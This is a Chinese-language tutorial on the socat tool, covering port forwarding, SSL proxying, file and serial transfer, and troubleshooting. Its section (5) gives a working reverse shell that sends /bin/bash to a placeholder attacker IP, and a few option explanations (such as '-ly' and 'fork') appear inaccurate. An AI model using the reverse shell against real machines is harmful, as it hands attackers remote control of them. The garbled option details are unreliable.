socat(Socket Cat)是一个强大的网络工具,用于在两个数据流之间建立双向通道,支持 TCP、UDP、SSL、文件、管道、设备等 多种协议。它类似于 netcat(nc),但功能更丰富,适合端口转发、代理调试、网络测试等场景。


1. 安装 socat

在 Linux 系统中,通常可以通过包管理器安装:

# Debian/Ubuntu
sudo apt install socat

# CentOS/RHEL
sudo yum install socat

# macOS (Homebrew)
brew install socat

2. 基础语法

socat 的基本命令格式为:

socat [选项] <输入流> <输出流>
  • 输入流(source):监听或读取数据的地方(如端口、文件)。
  • 输出流(target):发送或写入数据的地方(如另一台服务器、文件)。

3. 常用场景与示例

(1) TCP 端口转发

将本机 5432 端口的请求转发到另一台服务器的 5432 端口:

socat TCP-LISTEN:5432,bind=127.0.0.1,reuseaddr,fork TCP:192.168.1.100:5432
  • TCP-LISTEN:5432:监听本机 5432 端口。
  • bind=127.0.0.1:仅允许本地连接(去掉可允许外部访问)。
  • reuseaddr:允许端口复用(避免 Address already in use)。
  • fork:保持后台运行(允许多个连接)。

(2) UDP 端口转发

socat UDP-LISTEN:53,bind=127.0.0.1,reuseaddr,fork UDP:8.8.8.8:53
  • 将本机 UDP 53 端口(DNS)转发到 Google DNS(8.8.8.8:53)。

(3) SSL 加密转发

如果目标服务器使用 SSL(如 PostgreSQL、HTTPS),可以加密传输:

socat TCP-LISTEN:5432,bind=127.0.0.1,reuseaddr,fork OPENSSL:192.168.1.100:5432,verify=0
  • OPENSSL:使用 SSL 加密传输。
  • verify=0:跳过证书验证(生产环境建议配置证书)。

(4) 文件传输

发送文件:

socat -u FILE:data.txt TCP-LISTEN:8888
  • -u:单向传输(从文件到网络)。
  • FILE:data.txt:读取本地文件。
  • TCP-LISTEN:8888:监听 8888 端口,等待接收方连接。

接收文件:

socat -u TCP:192.168.1.100:8888 FILE:received.txt,create
  • create:如果文件不存在则创建。

(5) 反向 Shell

目标机器(受害者)主动连接:

socat TCP:<攻击者IP>:4444 EXEC:/bin/bash
  • EXEC:/bin/bash:在连接成功后执行 /bin/bash(提供 Shell)。

攻击者监听:

socat TCP-LISTEN:4444 -
  • 连接成功后,攻击者可以执行命令。

⚠️ 注意:此功能可用于合法渗透测试,但滥用可能违法!


(6) 串口转发

将串口 /dev/ttyS0 数据转发到网络:

socat /dev/ttyS0,raw,echo=0 TCP-LISTEN:8888
  • raw,echo=0:禁用终端回显,避免数据干扰。

4. 高级选项

选项 说明
-d 显示调试信息(-d -d 更详细)
-v 打印传输的数据(类似 tcpdump
-ly 以行缓冲模式运行(适合文本协议)
reuseaddr 允许端口复用
fork 允许多个连接
keepalive 保持 TCP 连接存活

5. 典型问题

(1) Address already in use

  • 使用 reuseaddr 选项:
    socat TCP-LISTEN:80,reuseaddr,fork ...
    

(2) 如何后台运行?

  • 使用 nohuptmux
    nohup socat TCP-LISTEN:5432,fork TCP:192.168.1.100:5432 &
    

(3) 如何查看连接状态?

  • 使用 netstatss
    ss -tulnp | grep socat
    

6. 总结

socat 是一个非常灵活的工具,适用于:

  • 端口转发(TCP/UDP)
  • SSL 加密代理
  • 文件传输
  • 反向 Shell
  • 串口调试
  • 网络调试

相比 nginx,它更适合临时调试或非 HTTP 协议转发;而 nginx 更适合长期稳定的 HTTP/TCP 代理。

你可以尝试结合 socatsystemd 实现持久化运行,或者用 iptables 做更复杂的流量控制。